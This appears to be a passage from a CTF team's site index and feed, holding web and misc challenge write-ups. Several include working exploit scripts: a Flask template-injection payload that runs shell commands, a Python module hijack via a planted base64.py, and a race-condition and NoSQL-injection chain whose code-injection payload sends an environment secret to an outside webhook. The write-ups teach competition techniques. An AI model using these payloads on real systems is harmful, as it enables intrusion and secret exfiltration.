number_of_second_to_wait += 1 print(flag) break print(\u0026quot;Flag found: \u0026quot;, \u0026quot;LITCTF{\u0026quot; + flag + \u0026quot;}\u0026quot;) $ flag: LITCTF{kBySlaY} Author: akiidjk ","permalink":"http://localhost:1313/writeups/litctf2024/kirbytime/","title":"Kirbytime"},{"content":" Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that\u0026rsquo;s open to everyone.\nUrl Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime ","permalink":"http://localhost:1313/writeups/litctf2024/","title":"Lexington Informatics Tournament CTF 2024"},{"content":"File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files!\nIntroduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents.\nSource The source has comments added later to allow a better understanding of the code in the writeups\n# filename: server.py #!/usr/bin/env python3 from flask import Flask, request, redirect, render_template, render_template_string import tarfile from hashlib import sha256 import os app = Flask(__name__) @app.route('/',methods=['GET','POST']) def main(): # This function mainly deals with loading the tar file into the server's file system. global username if request.method == 'GET': return render_template('index.html') elif request.method == 'POST': file = request.files['file'] if file.filename[-4:] != '.tar': # Check that the file passed is actually a tar file return render_template_string(\u0026quot;\u0026lt;p\u0026gt; We only support tar files as of right now!\u0026lt;/p\u0026gt;\u0026quot;) # Otherwise, it renders an error message name = sha256(os.urandom(16)).digest().hex() # Creates a random name that it will use to name our tar and the folder in the server's file system os.makedirs(f\u0026quot;./uploads/{name}\u0026quot;, exist_ok=True) # Create the directory file.save(f\u0026quot;./uploads/{name}/{name}.tar\u0026quot;) # Save the tar file try: # Extract the tar file tar_file = tarfile.TarFile(f'./uploads/{name}/{name}.tar') tar_file.extractall(path=f'./uploads/{name}/') return render_template_string(f\u0026quot;\u0026lt;p\u0026gt;Tar file extracted! View \u0026lt;a href='/view/{name}'\u0026gt;here\u0026lt;/a\u0026gt;\u0026quot;) except: return render_template_string(\u0026quot;\u0026lt;p\u0026gt;Failed to extract file!\u0026lt;/p\u0026gt;\u0026quot;) @app.route('/view/\u0026lt;name\u0026gt;') def view(name): # This function displays the files contained in the .tar file if not all([i in \u0026quot;abcdef1234567890\u0026quot; for i in name]): # Check that the file name is in hexadecimal, to avoid any kind of malicious input return render_template_string(\u0026quot;\u0026lt;p\u0026gt;Error!\u0026lt;/p\u0026gt;\u0026quot;) #print(os.popen(f'ls ./uploads/{name}').read()) #print(name) files = os.listdir(f\u0026quot;./uploads/{name}\u0026quot;) # List all files in the previously created folder out = '\u0026lt;h1\u0026gt;Files\u0026lt;/h1\u0026gt;\u0026lt;br\u0026gt;' files.remove(f'{name}.tar') # Remove the tar file from the list for i in files: out += f'\u0026lt;a href=\u0026quot;/read/{name}/{i}\u0026quot;\u0026gt;{i}\u0026lt;/a\u0026gt;' # Show via templates all file names # except: return render_template_string(out) # Render the template with the render_template_string function @app.route('/read/\u0026lt;name\u0026gt;/\u0026lt;file\u0026gt;') def read(name,file): # The function shows the contents of the single file if (not all([i in \u0026quot;abcdef1234567890\u0026quot; for i in name])): # Check that the file name is in hexadecimal, to avoid any kind of malicious input return render_template_string(\u0026quot;\u0026lt;p\u0026gt;Error!\u0026lt;/p\u0026gt;\u0026quot;) if ((\u0026quot;..\u0026quot; in name) or (\u0026quot;..\u0026quot; in file)) or ((\u0026quot;/\u0026quot; in file) or \u0026quot;/\u0026quot; in name): # Other controls to avoid path er return render_template_string(\u0026quot;\u0026lt;p\u0026gt;Error!\u0026lt;/p\u0026gt;\u0026quot;) f = open(f'./uploads/{name}/{file}') # Open the file data = f.read() f.close() return data # Return the content of file if __name__ == '__main__': app.run(host='0.0.0.0', port=1337) We can therefore see that there are several parameter checks, and at first one might think that the code is 100% safe.\nSolution The first thing that came to mind was to create a symbolic link to access the flag, and indeed this works (try with server.py), the problem is that the filename of the flag is unknown and this does not allow us to create a valid symbolic link.\nOnce we realised this, we did a thorough analysis of the code and came to the conclusion that the only thing that was not being checked was the name of the unpacked tar file allowing us to insert anything. By combining this with the \u0026lsquo;render_template_string\u0026rsquo; function (a vulnerable function of flask), it is possible to perform a template injection.\n# filename: exploit.py import requests import os import tarfile from bs4 import BeautifulSoup url = 'http://redacted.challs.n00bzunit3d.xyz:8080/' def create_tar(tar_name, file): with tarfile.open(tar_name, 'w') as tar: tar.add(file, arcname=os.path.basename(file)) print(f'Tar file created: {tar_name}') def create_payload(payload): with open(payload, 'w') as f: f.write('Remember to byte the cookies') create_tar('exploit.tar', payload) print(f'Payload created: {payload}') def get_url_view(text): soup = BeautifulSoup(text, 'html5lib') return [a['href'] for a in soup.find_all('a', href=True)][0] def leak_subprocess_index(): payload = \u0026quot;{{int.__class__.__base__.__subclasses__()}}\u0026quot; create_payload(payload) r = requests.post(url, files={'file': open('exploit.tar', 'rb')}) url_file = get_url_view(r.text) r = requests.get(url + url_file) text = r.text[r.text.index('[')+1:] list_classes = text.split(',') for i, c in enumerate(list_classes): if 'subprocess.Popen' in c: print(f'Index subprocess.Popen: {i}') return str(i) def get_flag(index): payload = \u0026quot;{{int.__class__.__base__.__subclasses__()[\u0026quot; + \\ index + \u0026quot;]('cat *', shell=True, stdout=-1).communicate()}}\u0026quot; create_payload(payload) r = requests.post(url, files={'file': open('exploit.tar', 'rb')}) url_file = get_url_view(r.text) r = requests.get(url + url_file) flag = r.text[r.text.index('n00bz{'):r.text.index('}')+1] print(f'Flag: {flag}') def main(): subprocess_index = leak_subprocess_index() get_flag(subprocess_index) if __name__ == '__main__': main() $ flag: n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e} Author: akiidjk ","permalink":"http://localhost:1313/writeups/noobzctf2024/filesharingportal/","title":"File Sharing Portal"},{"content":"Waas Description: Writing as a Service!\nIntroduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it.\nimport subprocess from base64 import b64decode as d while True: print(\u0026quot;[1] Write to a file\\n[2] Get the flag\\n[3] Exit\u0026quot;) try: inp = int(input(\u0026quot;Choice: \u0026quot;).strip()) except: print(\u0026quot;Invalid input!\u0026quot;) exit(0) if inp == 1: file = input(\u0026quot;Enter file name: \u0026quot;).strip() assert file.count('.') \u0026lt;= 2 # Why do you need more? assert \u0026quot;/proc\u0026quot; not in file # Why do you need to write there? assert \u0026quot;/bin\u0026quot; not in file # Why do you need to write there? assert \u0026quot;\\n\u0026quot; not in file # Why do you need these? assert \u0026quot;chall\u0026quot; not in file # Don't be overwriting my files! try: f = open(file,'w') except: print(\u0026quot;Error! Maybe the file does not exist?\u0026quot;) f.write(input(\u0026quot;Data: \u0026quot;).strip()) f.close() print(\u0026quot;Data written sucessfully!\u0026quot;) if inp == 2: flag = subprocess.run([\u0026quot;cat\u0026quot;,\u0026quot;fake_flag.txt\u0026quot;],capture_output=True) # You actually thought I would give the flag? print(flag.stdout.strip()) Solution At first one may think of trying to bypass the input validation to perhaps rewrite the workings of the cat command or the challenge file itself, but this isn\u0026rsquo;t possible. Something very bizarre is the imported but unused b64decode from the base64 module, which is what allows us to solve the challenge. When python imports modules it looks in sys.path, which has a list of valid directories to import modules from. After a quick scan through the python3 docs we find out that the first directory it looks through is the same directory the file is in, this means that if we have a base64.py file in the directory then python will try to import a b64decode symbol from that file instead of the common known module. One more feature of python\u0026rsquo;s import behavior we can use is the that all the code in an imported module will be executed. For example if a file test.py has print('Hello, World!') and it can be executed (for example if it\u0026rsquo;s at the lowest indentation level) then a file with import test will indeed see Hello, World! printed to stdout. Therefore, since the open function with a 'w' flag will create a file if it does not exist, we can simply create a file named base64.py and write our malicious code in it. Something like this will do the trick:\nimport os; b64decode = 0; os.system(\u0026quot;cat flag.txt\u0026quot;) But the flag isn\u0026rsquo;t our yet; we need to use the fact that the instance does not reset its files every time we connect to it, which means that our base64.py will remain in the directory for the lifetime of the instance. This means we simply need to reconnect to it and get our flag.\nsolve.py\nfrom pwn import * def solve(): r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance r.sendlineafter(b'Choice: ', b'1') # 1 to write a file r.sendlineafter(b'Enter file name: ', b'base64.py') r.sendlineafter(b'Data: ', b'import os; b64decode = 0; os.system(\u0026quot;cat flag.txt\u0026quot;)') r.close() r = remote('challs.n00bzunit3d.xyz', 10478) # PORT depends on the instance flag = r.recvline().decode() print(f'flag: {flag}') r.close() if __name__ == '__main__': solve() $ flag: n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e} Author: vympel\n","permalink":"http://localhost:1313/writeups/noobzctf2024/waas/","title":"WaaS"},{"content":" N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz.\nUrl Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas ","permalink":"http://localhost:1313/writeups/n00bzctf2024/","title":"N00bzCTF 2024"},{"content":" Beneath the Surface Description: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late?\nFile Your browser does not support the audio element. Download Solution exiftool beneath_the_surface.wav ExifTool Version Number : 13.30 File Name : beneath_the_surface.wav Directory : . File Size : 6.3 MB File Modification Date/Time : 2025:07:13 12:40:18+02:00 File Access Date/Time : 2025:07:13 12:40:19+02:00 File Inode Change Date/Time : 2025:07:13 12:40:18+02:00 File Permissions : -rw-r--r-- File Type : WAV File Type Extension : wav MIME Type : audio/x-wav Encoding : Microsoft PCM Num Channels : 1 Sample Rate : 8000 Avg Bytes Per Sec : 16000 Bits Per Sample : 16 Title : Generated audio Software : fldigi-4.2.07 (libsndfile-1.0.28) Comment : WEFAX576 freq=14011.900 Date Created : 2025:07:11T10:21:36z Duration : 0:06:35 The Software and Comment fields are useful, these indicate that the audio file was generated by fldigi which contains a WEFAX (Weather Facsimile) image, transmitted at 576 lines at a frequenct of 14011.900 kHz. So, I install fldigi with yay -S fldigi (I use Arch, btw). Open the program and go to Op mode -\u0026gt; WEFAX -\u0026gt; WEFAX576, and then, on the main window, set the frequency to 14011.9 kHz. Now, upload the file on File -\u0026gt; Audio -\u0026gt; Reproduction. Please be patient and wait for the program to decode the entire audio and get the flag.\nL3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON} Author: tatore ","permalink":"http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/","title":""},{"content":"Blank Login Description: Hm, I don\u0026rsquo;t remember, probably something about three databases.\nIntroduction This is the third web application I\u0026rsquo;ve exploited. It\u0026rsquo;s a very cool challenge, not too complex, and very fun. There\u0026rsquo;s a not-very-easy race condition to spot. In fact, I think that\u0026rsquo;s the most difficult part. So, let\u0026rsquo;s start.\nWe have a small Flask application with about 200 lines of code, so it\u0026rsquo;s not too bad. The first page is a login page without a register page.\nThe first thing to do is read the code.\nSource We can start with the set up of the flask application\n# filename: main.py # Flask setup - session store app = Flask(__name__) app.secret_key = bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex() app.config['SESSION_TYPE'] = 'filesystem' Session(app) # MongoDB setup - users mongo_client = MongoClient(\u0026quot;mongodb://mongo:27017/\u0026quot;) mongo_db = mongo_client[\u0026quot;flaskdb\u0026quot;] mongo_users = mongo_db[\u0026quot;users\u0026quot;] mongo_users.delete_many({}) admin_user = { \u0026quot;username\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;password\u0026quot;: bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(), \u0026quot;email\u0026quot;: \u0026quot;admin@securepractice.corp\u0026quot; } regular_user = { \u0026quot;username\u0026quot;: \u0026quot;user\u0026quot;, \u0026quot;password\u0026quot;: bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(), \u0026quot;email\u0026quot;: \u0026quot;user@securepractice.corp\u0026quot; } mongo_users.insert_many([admin_user, regular_user]) # SQLite setup - audit trail Base = declarative_base() engine = create_engine(\u0026quot;sqlite:///audit_log.db\u0026quot;, connect_args={\u0026quot;check_same_thread\u0026quot;: False}) SessionLocal = sessionmaker(bind=engine) class SearchBase(Base): __tablename__ = \u0026quot;search_base\u0026quot; id = Column(Integer, primary_key=True) class AuditLog(Base): __tablename__ = \u0026quot;audit_log\u0026quot; id = Column(Integer, primary_key=True) parent_id = Column(Integer, ForeignKey(\u0026quot;search_base.id\u0026quot;)) username = Column(String) action = Column(String) timestamp = Column(Integer) # Other code.... if __name__ == \u0026quot;__main__\u0026quot;: Base.metadata.create_all(bind=engine) # MySQL setup - reset tokens for _ in range(10): try: mysql_conn = mysql.connector.connect( host=\u0026quot;mysql\u0026quot;, user=\u0026quot;root\u0026quot;, password=\u0026quot;rootpass\u0026quot;, database=\u0026quot;flaskdb\u0026quot; ) if mysql_conn.is_connected(): break except Error: time.sleep(3) if not mysql_conn: raise Exception(\u0026quot;MySQL connection failed.\u0026quot;) # Reset token setup cursor = mysql_conn.cursor(dictionary=True) cursor.execute(\u0026quot;\u0026quot;\u0026quot; CREATE TABLE IF NOT EXISTS reset_tokens ( id INT AUTO_INCREMENT PRIMARY KEY, username CHAR(255), token CHAR(255) DEFAULT '' ) CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci; \u0026quot;\u0026quot;\u0026quot;) for username in ['user', 'admin']: cursor.execute(\u0026quot;DELETE FROM reset_tokens WHERE username = %s\u0026quot;, (username,)) cursor.execute(\u0026quot;INSERT INTO reset_tokens (username) VALUES (%s)\u0026quot;, (username,)) cursor.execute(\u0026quot;UPDATE reset_tokens SET token = %s WHERE username = %s\u0026quot;, (get_random_token(), username)) mysql_conn.commit() cursor.close() mysql_conn.close() app.run(host=\u0026quot;0.0.0.0\u0026quot;, port=5000, debug=False, threaded=True) Okay, so analyzing the code, we have:\nTwo registered a user: user and admin, with passwords that are securely and randomly generated. We use three databases, each with a specific purpose. MySQL: Store the token for password resets. Mongo: Store users SQLite3: Store the audit logs. This is a bit strange, but okay. Now, let\u0026rsquo;s look at some endpoints.\n#filename: main.py # Main login page @app.route(\u0026quot;/login\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def login(): error = None if request.method == \u0026quot;POST\u0026quot;: username = request.form.get(\u0026quot;username\u0026quot;, \u0026quot;\u0026quot;).strip() password = request.form.get(\u0026quot;password\u0026quot;, \u0026quot;\u0026quot;).strip() if not re.fullmatch(r'^[\\w@#$%^\u0026amp;+=!]{1,64}$', password): error = \u0026quot;Invalid password format.\u0026quot; else: user = mongo_users.find_one({\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if user: session[\u0026quot;email\u0026quot;] = user[\u0026quot;email\u0026quot;] log_audit_event(username, \u0026quot;login_success\u0026quot;) return redirect(\u0026quot;/\u0026quot;) log_audit_event(username, \u0026quot;login_failure\u0026quot;) error = \u0026quot;Invalid credentials.\u0026quot; return render_template(\u0026quot;login.html\u0026quot;, error=error) # Allow users to change their email address @app.route(\u0026quot;/\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def me(): if \u0026quot;email\u0026quot; not in session: return redirect(\u0026quot;/login\u0026quot;) current_email = session[\u0026quot;email\u0026quot;] message = None if request.method == \u0026quot;POST\u0026quot;: # Validate email new_email = request.get_json().get(\u0026quot;new_email\u0026quot;) if request.is_json else request.form.get(\u0026quot;new_email\u0026quot;) if mongo_users.find_one({\u0026quot;email\u0026quot;: {\u0026quot;$eq\u0026quot;: new_email}}): message = \u0026quot;That email is already in use.\u0026quot; else: # Update email address result = mongo_users.update_one({\u0026quot;email\u0026quot;: current_email}, {\u0026quot;$set\u0026quot;: {\u0026quot;email\u0026quot;: new_email}}) if result.modified_count == 1: session[\u0026quot;email\u0026quot;] = new_email message = \u0026quot;Email updated successfully\u0026quot; else: message = \u0026quot;Failed to update email.\u0026quot; return render_template(\u0026quot;me.html\u0026quot;, email=session[\u0026quot;email\u0026quot;], message=message) # Administrators can view the audit logs @app.route(\u0026quot;/audit_logs\u0026quot;, methods=[\u0026quot;GET\u0026quot;]) def audit_logs(): if \u0026quot;email\u0026quot; not in session: return redirect(\u0026quot;/login\u0026quot;) user = mongo_users.find_one({\u0026quot;email\u0026quot;: session[\u0026quot;email\u0026quot;]}) if not user or user.get(\u0026quot;username\u0026quot;) != \u0026quot;admin\u0026quot;: return \u0026quot;Access denied\u0026quot;, 403 order_by = request.args.get(\u0026quot;order_by\u0026quot;, \u0026quot;timestamp\u0026quot;) if not any(order_by.startswith(col) for col in ['username', 'action', 'timestamp']): order_by = \u0026quot;timestamp\u0026quot; SearchBase.logs = relationship(\u0026quot;AuditLog\u0026quot;, order_by=f'AuditLog.{order_by}') db = SessionLocal() bases = db.query(SearchBase).all() logs = [log for base in bases for log in base.logs] db.close() return render_template(\u0026quot;audit_logs.html\u0026quot;, logs=logs) # Users can request a new password @app.route(\u0026quot;/reset_request\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def reset_request(): message = None if request.method == \u0026quot;POST\u0026quot;: # Validate username username = request.form.get(\u0026quot;username\u0026quot;, \u0026quot;\u0026quot;).strip() if not username: message = \u0026quot;Username is required.\u0026quot; elif not username.isalnum(): message = \u0026quot;Invalid username\u0026quot; elif 'admin' in username.lower(): message = \u0026quot;Reset not allowed for admin\u0026quot; # Get user elif (user := mongo_users.find_one({\u0026quot;username\u0026quot;: username})): conn = get_db() cursor = conn.cursor() try: # Remove all old entries cursor.execute(\u0026quot;DELETE FROM reset_tokens WHERE username = %s\u0026quot;, (username,)) conn.commit() # Create new entry cursor.execute(\u0026quot;INSERT INTO reset_tokens (username) VALUES (%s)\u0026quot;, (username,)) conn.commit() # Set new token cursor.execute(\u0026quot;UPDATE reset_tokens SET token = %s WHERE username = %s\u0026quot;, (get_random_token(), username)) conn.commit() message = \u0026quot;Reset email sent.\u0026quot; # Backend job sends the reset email except: message = \u0026quot;Unhandled failure.\u0026quot; finally: cursor.close() else: message = \u0026quot;User not found.\u0026quot; return render_template(\u0026quot;result.html\u0026quot;, message=message) return render_template(\u0026quot;reset_request.html\u0026quot;) # Users can set a new password with a valid reset token @app.route(\u0026quot;/reset\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def reset(): message = None if request.method == \u0026quot;POST\u0026quot;: # Validate password and token token = request.form.get(\u0026quot;token\u0026quot;, \u0026quot;\u0026quot;) new_password = request.form.get(\u0026quot;new_password\u0026quot;, \u0026quot;\u0026quot;) if not re.fullmatch(r'^[\\w@#$%^\u0026amp;+=!]{6,64}$', new_password): message = \u0026quot;Invalid password format.\u0026quot; elif not token or len(token) \u0026lt; 16: message = \u0026quot;Invalid token format.\u0026quot; else: # Get user for token conn = get_db() cursor = conn.cursor(dictionary=True) cursor.execute(\u0026quot;SELECT * FROM reset_tokens WHERE token = %s\u0026quot;, (token,)) row = cursor.fetchone() cursor.close() if row: # Reset user password username = row[\u0026quot;username\u0026quot;].strip() mongo_users.update_one({\u0026quot;username\u0026quot;: username}, {\u0026quot;$set\u0026quot;: {\u0026quot;password\u0026quot;: new_password}}) cursor = conn.cursor() cursor.execute(\u0026quot;DELETE FROM reset_tokens WHERE username = %s\u0026quot;, (username,)) conn.commit() cursor.close() message = f\u0026quot;Password updated\u0026quot; else: message = \u0026quot;Invalid token.\u0026quot; return render_template(\u0026quot;result.html\u0026quot;, message=message) return render_template(\u0026quot;reset.html\u0026quot;) We have some cool endpoints:\n/: Main route a route to change your email address while logged in. /login: Pretty clear. /audit_logs: An admin endpoint to view all audit logs. /reset_request: Reset password request by username. /reset: Resets the password using the username and token. I think it\u0026rsquo;s pretty straightforward, don\u0026rsquo;t you?\nSolution The first step is to search for the flag position. In this case, it is in an env variable.\nweb: build: . ports: - \u0026quot;5000:5000\u0026quot; depends_on: - mongo - mysql environment: - FLASK_ENV=production - FLAG=wwf{not_the_flag} Okay, so the goal is to get RCE. The first thing to do is to check for SSTI, but that\u0026rsquo;s not the case here.\nNow, the most difficult part is checking all the code. The most suspicious things are:\nNoSQL injection in the reset email form. new_email = request.get_json().get(\u0026quot;new_email\u0026quot;) if request.is_json else request.form.get(\u0026quot;new_email\u0026quot;) The line is bad because if we pass the header JSON, it passes all the objects, not just a string.\nIt\u0026rsquo;s a sort of code injection in the SQLAlchemy function in the audit logs endpoint. if not any(order_by.startswith(col) for col in ['username', 'action', 'timestamp']): order_by = \u0026quot;timestamp\u0026quot; SearchBase.logs = relationship(\u0026quot;AuditLog\u0026quot;, order_by=f'AuditLog.{order_by}') # Not very good db = SessionLocal() bases = db.query(SearchBase).all() Okay, nice. We have a code injection. Is that all? No, because to get access to the endpoint, we have to become an admin. We don\u0026rsquo;t have a login for the user account, so it\u0026rsquo;s pretty useless.\nAfter much trial and error, I discovered a cool race condition between the /reset_request and /reset endpoints.\n# Users can request a new password @app.route(\u0026quot;/reset_request\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def reset_request(): message = None if request.method == \u0026quot;POST\u0026quot;: # Validate username username = request.form.get(\u0026quot;username\u0026quot;, \u0026quot;\u0026quot;).strip() if not username: message = \u0026quot;Username is required.\u0026quot; elif not username.isalnum(): message = \u0026quot;Invalid username\u0026quot; elif 'admin' in username.lower(): message = \u0026quot;Reset not allowed for admin\u0026quot; # Get user elif (user := mongo_users.find_one({\u0026quot;username\u0026quot;: username})): conn = get_db() cursor = conn.cursor() try: # Remove all old entries cursor.execute(\u0026quot;DELETE FROM reset_tokens WHERE username = %s\u0026quot;, (username,)) conn.commit() # Create new entry cursor.execute(\u0026quot;INSERT INTO reset_tokens (username) VALUES (%s)\u0026quot;, (username,)) conn.commit() # Set new token cursor.execute(\u0026quot;UPDATE reset_tokens SET token = %s WHERE username = %s\u0026quot;, (get_random_token(), username)) conn.commit() message = \u0026quot;Reset email sent.\u0026quot; # Backend job sends the reset email except: message = \u0026quot;Unhandled failure.\u0026quot; finally: cursor.close() else: message = \u0026quot;User not found.\u0026quot; return render_template(\u0026quot;result.html\u0026quot;, message=message) return render_template(\u0026quot;reset_request.html\u0026quot;) When we make a reset request, the server makes three different commits, one for each query. In this case, it\u0026rsquo;s very bad because there\u0026rsquo;s a moment when the token is equal to an empty string. Especially, the database is set to CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci, so spaces are trimmed from the query.\nWe can basically make a /reset request and, at the same time, make a /reset_request. This allows us to change the password of ONLY the user (because the admin is blocked) and log in.\nOkay, but how can we log in as an admin? Easy. Remember the NoSQLi we can use to bypass the admin check in the /audit_logs endpoint with a basic logic injection: { \u0026quot;$gt\u0026quot;: \u0026quot;\u0026quot;} (This is a possible payload.) We can inject the payload thanks to the email change.\nNow, if we try to make a GET request to /audit_logs, we have access, and we can make the code injections.\n# filename: exploit.py #!/usr/bin/python3 import random import string import threading import urllib.parse import requests BASE_URL = \u0026quot;https://{instance_id}.chall.wwctf.com\u0026quot; WEBHOOK_URL = \u0026quot;http://178.63.67.153/eb3102da-b96c-48b5-92c9-d59301574330/\u0026quot; s = requests.Session() payload_spaces = \u0026quot; \u0026quot; * 32 token_field = urllib.parse.quote_plus(payload_spaces) new_pass = \u0026quot;cookie\u0026quot; def spam_reset_request(): while True: s.post(f\u0026quot;{BASE_URL}/reset_request\u0026quot;, data={\u0026quot;username\u0026quot;: \u0026quot;user\u0026quot;}, timeout=3) def race_reset(): while True: data = {\u0026quot;token\u0026quot;: payload_spaces, \u0026quot;new_password\u0026quot;: new_pass} r = s.post(f\u0026quot;{BASE_URL}/reset\u0026quot;, data=data, timeout=3) if \u0026quot;Password updated\u0026quot; in r.text: print(\u0026quot;[+] Race WON!\u0026quot;) break def login(): data = {\u0026quot;username\u0026quot;: \u0026quot;user\u0026quot;, \u0026quot;password\u0026quot;: new_pass} r = s.post(f\u0026quot;{BASE_URL}/login\u0026quot;, data=data) if \u0026quot;New Email\u0026quot; in r.text: print(\u0026quot;[+] Logged in successfully!\u0026quot;) else: print(\u0026quot;[-] Failed to log in.\u0026quot;) def update_email(): data = {\u0026quot;new_email\u0026quot;: { \u0026quot;$gt\u0026quot;: \u0026quot;\u0026quot; }} r = s.post(f\u0026quot;{BASE_URL}\u0026quot;, json=data) if \u0026quot;Email updated successfully\u0026quot; in r.text: print(\u0026quot;[+] Email updated successfully!\u0026quot;) else: print(\u0026quot;[-] Failed to update email.\u0026quot;) def audit_logs(): payload = f\u0026quot;(__import__('urllib.request', fromlist=['urlopen']).urlopen('{WEBHOOK_URL}?f='+(__import__('os').getenv('FLAG','NF'))))\u0026quot; r = s.get(f\u0026quot;{BASE_URL}/audit_logs\u0026quot;,params={\u0026quot;order_by\u0026quot;: f\u0026quot;timestamp.desc(),{payload}\u0026quot;}) if \u0026quot;Access denied\u0026quot; in r.text: print(\u0026quot;[-] Access denied to audit logs.\u0026quot;) else: print(\u0026quot;[+] Audit logs accessed successfully!\u0026quot;) print(r.text) def main(): threading.Thread(target=spam_reset_request, daemon=True).start() race_reset() login() update_email() audit_logs() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: wwf{Ju57_G1v3_mE_S0m3_5p4ce} Author: akiidjk ","permalink":"http://localhost:1313/writeups/wwfctf2025/blank-login/","title":"Blank Login"}] \ No newline at end of file diff --git a/public/index.xml b/public/index.xml deleted file mode 100644 index 10e16b95..00000000 --- a/public/index.xml +++ /dev/null @@ -1,606 +0,0 @@ - - - - ByteTheCookies - http://localhost:1313/ - Recent content on ByteTheCookies - Hugo -- gohugo.io - en - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = 